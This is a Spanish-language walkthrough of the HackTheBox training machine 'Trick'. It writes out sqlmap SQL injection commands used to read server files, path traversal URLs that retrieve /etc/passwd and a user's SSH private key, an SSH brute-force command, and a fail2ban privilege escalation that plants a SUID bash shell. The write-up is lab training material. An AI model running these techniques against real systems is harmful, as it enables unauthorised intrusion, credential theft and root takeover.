Skip to main content

Command Palette

Search for a command to run...

Trick - HackTheBox

Máquina Linux nivel Easy de la plataforma HackTheBox que forma parte del path CPTS.

Updated
6 min read
Trick - HackTheBox
E
Cybersecurity

Reconocimiento de Puertos y Servicios

Comenzamos enumerando los puertos abiertos de la máquina Trick como siempre utilizando la herramienta nmap.

Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-10 05:44 -0700
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 25.00% done; ETC: 05:44 (0:00:18 remaining)
Stats: 0:00:27 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 05:44 (0:00:09 remaining)
Stats: 0:01:48 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 05:46 (0:00:36 remaining)
Nmap scan report for 10.129.2.214
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Tenemos el puerto 25 (smtp) abierto.

  • Puerto 53 (dns) que enumeraremos en busca de subdominios

  • Servidor web nginx 1.14.2 en el puerto 80.

Enumeracion DNS

En primer lugar utilizaremos dig para realizar una búsqueda inversa e intentar obtener un nombre de dominio del servidor DNS.

Anadimos el dominio trick.htb al archivo hosts y aprovechamos para buscar otros nombres de dominio asociados a trick.htb realizando un ataque de transferencia de zona, pero primero visitamos el dominio trick.htb para ver que nos encontramos.

A simple vista parece una página estática, y tras una serie de pruebas no encuentro nada de interés, por lo que continuamos adelante buscando otro punto de apoyo.

Añadimos el dominio preprod-payroll.trick.htb al archivo hosts y accedemos desde el navegador para ver que nos encontramos.


Inyección SQL

Leyendo el código fuente podemos encontrar un script escrito en lenguaje javascript.

<script>
	$('#login-form').submit(function(e){
		e.preventDefault()
		$('#login-form button[type="button"]').attr('disabled',true).html('Logging in...');
		if($(this).find('.alert-danger').length > 0 )
			$(this).find('.alert-danger').remove();
		$.ajax({
			url:'ajax.php?action=login',
			method:'POST',
			data:$(this).serialize(),
			error:err=>{
				console.log(err)
		$('#login-form button[type="button"]').removeAttr('disabled').html('Login');

			},
			success:function(resp){
				if(resp == 1){
					location.href ='index.php?page=home';
				}else if(resp == 2){
					location.href ='voting.php';
				}else{
					$('#login-form').prepend('<div class="alert alert-danger">Username or password is incorrect.</div>')
					$('#login-form button[type="button"]').removeAttr('disabled').html('Login');
				}
			}
		})
	})
</script>	

Este script básicamente controla el envío de un formulario de login sin recargar la pagina (usando AJAX).

Buscando por el nombre del sitio web encuentro que es vulnerable a sql injection, por lo que lo intento explotar utilizando sqlmap.

En primer lugar quiero adivinar si es vulnerable y averiguar qué parametro es vulnerable, si el user o password.

sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" --batch
  • Parece que el parametro vulnerable es password.

  • Tipo de inyección time-based blind

  • Base de datos MySQL

En el caso de las inyecciones time-based la extracción de datos es bastante lenta, por lo que podemos especificar que pruebe otras inyecciones para averiguar si tambien es vulnerable y asi acelerar el proceso de extracción de datos.

sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p password --level 5 --risk 3 --technique=BEUS --batch
  • Especificamos el parametro password.

  • El nivel de exhaustividad de las pruebas (5).

  • --risk 3 que utilizara payloads mas agresivos.

  • Tecnicas utilizadas - BEUS

Código Técnica Descripción
B Boolean-based blind Usa condiciones TRUE/FALSE para detectar la inyección.
E Error-based Aprovecha mensajes de error SQL del servidor.
U UNION query-based Usa UNION SELECT para extraer datos.
S Stacked queries Ejecuta múltiples queries (;).
T Time-based blind Usa delays (SLEEP, WAITFOR) para detectar la inyección.
Q Inline queries Usa subconsultas inline para obtener datos.

Dado que no queremos ninguna consulta lenta, eliminaremos T y Q.

Podemos ver que es vulnerable a boolean-based blind y error-based que son mas rápidas que en el caso anterior.

Continuamos enumerando los permisos que disponemos en la base de datos utilizando el parametro --privileges.

sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p password --privileges

El permiso FILE es un privilegio especial que permite al usuario leer y escribir archivos en el sistema de archivos del servidor donde se ejecuta MySQL.

Tras buscar en la wiki de sqlmap encontramos un parametro que nos permite leer archivos internos.

https://github.com/sqlmapproject/sqlmap/wiki/usage

sqlmap -u http://preprod-payroll.trick.htb/ajax.php\?action\=login --data="username=abc&password=abc" -p password --file-read=/etc/passwd

Tras ejecutar el comando se nos guardara la salida en la ruta /home//.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd

Vemos que existe el usuario michael que nos podría servir mas adelante o incluso podriamos intentar obtener una clave privada RSA buscando en su directorio de inicio.

Pero tras intentarlo sqlmap nos arroja el siguiente mensaje:

[17:38:22] [INFO] retrieved: ' '
[17:38:22] [ERROR] no data retrieved

Tras un largo rato probando a leer diferentes archivos se me ocurrio probar a leer el archivo default del servidor web para buscar otros vhosts ubicado en /etc/nginx/sites-enabled/default donde encontramos otro vhost.

server {
        listen 80;
        listen [::]:80;

        server_name preprod-marketing.trick.htb;

        root /var/www/market;
        index index.php;

        location / {
                try_files \(uri \)uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
        }
}

preprod-marketing.trick.htb

Lo añadimos al archivo hosts y accedemos desde el navegador.


Local File Inclusion

De nuevo estamos ante un sitio web aparentemente vacío sin importancia, pero hay unos botones debajo que si hacemos click nos indican en la url una posible vulnerabilidad LFI.

Por ejemplo si hacemos click en el boton home, la url es http://preprod-marketing.trick.htb/index.php?page=home.html por lo que podemos fuzzear rutas utilizando un diccionario concreto para averiguar si hay un LFI.

Utilizaré el diccionario LFI-Jhaddix.txt de Seclists.

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//....//....//....//....//....//etc/passwd

De nuevo podemos leer archivos internos, por lo que pruebo de nuevo a leer el archivo id_rsa de michael.

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//home/michael/.ssh/id_rsa

Y obtenemos la clave privada rsa, por lo que podemos intentar conectarnos al servidor via ssh.

La guardamos en un archivo, le damos los permisos adecuados y nos conectamos por ssh.

Llegados a este punto ya podemos leer la flag de user, por lo que el siguiente paso es escalar privilegios.

Escalada de Privilegios

Si ejecutamos sudo -l veremos que podemos ejecutar como root sin conrtrasena el comando /etc/init.d/fail2ban restart.

Fail2ban es una herramienta que permite proteger al servidor contra ataques de fuerza bruta.

Tras una breve busqueda encontre este artículo que explica de forma sencilla y detallada como escalar privilegios.

https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudo-fail2ban-privilege-escalation

  • Identificar si disponemos de permisos sobre el directorio /etc/fail2ban/action.d

  • Modificaremos el archivo iptables-multiport.conf ubicado en /etc/fail2ban/action.d añadiendo el siguiente contenido en el apartado actionban.

actionban = cp /bin/bash /tmp && chmod 4755 /tmp/bash
  • Copiamos el archivo modificado en la ruta /etc/fail2ban/action.d.

  • Iniciamos un ataque de fuerza bruta al servicio ssh y reiniciamos fail2ban.

# Ataque fuerza bruta con netexec
netexec ssh <ip> -u michael -p /usr/share/wordlists/rockyou.txt